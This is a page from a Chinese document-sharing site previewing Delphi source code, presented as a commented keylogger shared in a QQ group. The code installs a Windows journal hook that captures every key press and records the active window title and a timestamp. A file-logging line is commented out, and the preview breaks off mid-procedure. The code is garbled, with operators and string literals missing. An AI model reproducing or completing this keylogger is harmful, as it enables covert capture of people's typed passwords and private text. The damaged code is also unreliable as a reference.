Delphi键盘记录.docVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
Delphi键盘记录

QQ群里面的朋友发的一份DELPHI键盘记录源码,附带注解,还不错! unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) ??? Memo1: TMemo; ??? StartLog: TButton; ??? StopLog: TButton; ??? procedure StartLogClick(Sender: TObject); ??? procedure StopLogClick(Sender: TObject); private ??? { Private declarations } public ??? { Public declarations } end; var Form1: TForm1; LogHook:HHook=0; LastFocusWnd:Hwnd=0; PrvChar:Char; HookKey:String; const ??????? KeyMask= function LogProc(iCode:integer;wparam,lparam:longint):lresult;stdcall; implementation {$R *.dfm} function LogProc(iCode:integer;wparam,lparam:longint):lresult; var ??? ch:Char;?????????? //记录一个个按下的按键字符 ??? vKey:integer;????? //表示按下了哪个键 ??? FocusWnd:HWND;???? //当前活动窗口句柄 ??? Title:array[0..255] of char;??? //窗口句柄的标题 ??? str:array[0..12] of char;?????? // 当8=vkey=46时,表示按下的键名,例如[退格] ??? time:string;??????????? //time表示操作的具体时间 ??? //LogFile:TextFile;?????????? //记录保存到文件 ??? PEvt:^EventMsg;???????? //EventMsg的指针 ??? iCapsLock,iNumLock,iShift:integer; //状态按键 ??? bCapsLock,bNumLock,bShift:boolean; //是否按下状态按键 begin ??? if (iCode 0 ) then ??? begin ??????? Result := CallNextHookEx(LogHook,iCode,wparam,lparam);??? //调用钩子链表的下一个子程 ??????? exit; ??? end; ??? if (iCode = HC_ACTION) then?????????????????? //设备动作 ??? begin ??????? PEvt := pointer(Dword(lparam));?????????? //将lparam的指针传递给PEvt事件消息指针 ??????? FocusWnd:= GetActiveWindow;?????????????? //获取活动窗体句柄 ??????? if (LastFocusWnd FocusWnd) then ??????? begin ??????????? if (HookKey ) then ??????????? begin ??????????????? form1.Memo1.Lines.Add(HookKey); ??????????????? HookKey:= ; ??????????? end; ??????????? GetWindowText(FocusWnd,Title,256); ??????????? LastFocusWnd:= FocusWnd; ??????????? Time:= DateTimeToStr(now); ??????????? Form1.Memo1.lines.add(Time + Format(Title:%s,[Title])); ??????? end; ??? if (PEvt.message = WM_KEYDOWN) then?????? //if 事件消息为键下压操作 ??? begin ??????? vkey := LoByte(PEvt.paramL )

文档评论(0)

xy88118 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档